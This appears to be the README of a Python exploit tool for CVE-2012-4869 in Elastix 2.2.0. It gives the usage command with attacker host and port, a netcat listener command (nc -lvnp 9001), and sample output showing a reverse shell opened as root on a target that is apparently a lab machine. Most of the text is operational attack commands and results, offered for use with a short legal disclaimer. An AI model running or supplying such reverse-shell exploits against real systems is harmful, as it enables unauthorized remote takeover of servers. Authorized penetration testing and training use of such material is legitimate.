
Python exploit script for Elastix 2.2.0 LFI vulnerability (CVE-2012-4869) enabling remote code execution via Perl reverse shell payload injection.
This script exploits a Local File Inclusion (LFI) vulnerability in Elastix 2.2.0, allowing remote code execution (RCE) by injecting commands via the callme_page.php endpoint. The exploit is based on CVE-2012-4869.
requests moduleInstall dependencies using:
pip install requests
python exploit.py <URL> --LHOST <YOUR_IP> --LPORT <YOUR_PORT>
python exploit.py "https://10.129.229.183" --LHOST "10.10.14.23" --LPORT 9001
Before running the exploit, start a Netcat listener on your machine:
nc -lvnp 9001
[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869
[*] Target: https://10.129.229.183
[*] Listening on 10.10.14.23:9001
[+] Exploit sent successfully, waiting for reverse shell...
[+] Connection from 10.129.229.183:41242
$ id
uid=0(root) gid=0(root) groups=0(root)
This exploit is for educational and authorized security testing purposes only. Unauthorized use is illegal. The author is not responsible for misuse of this tool.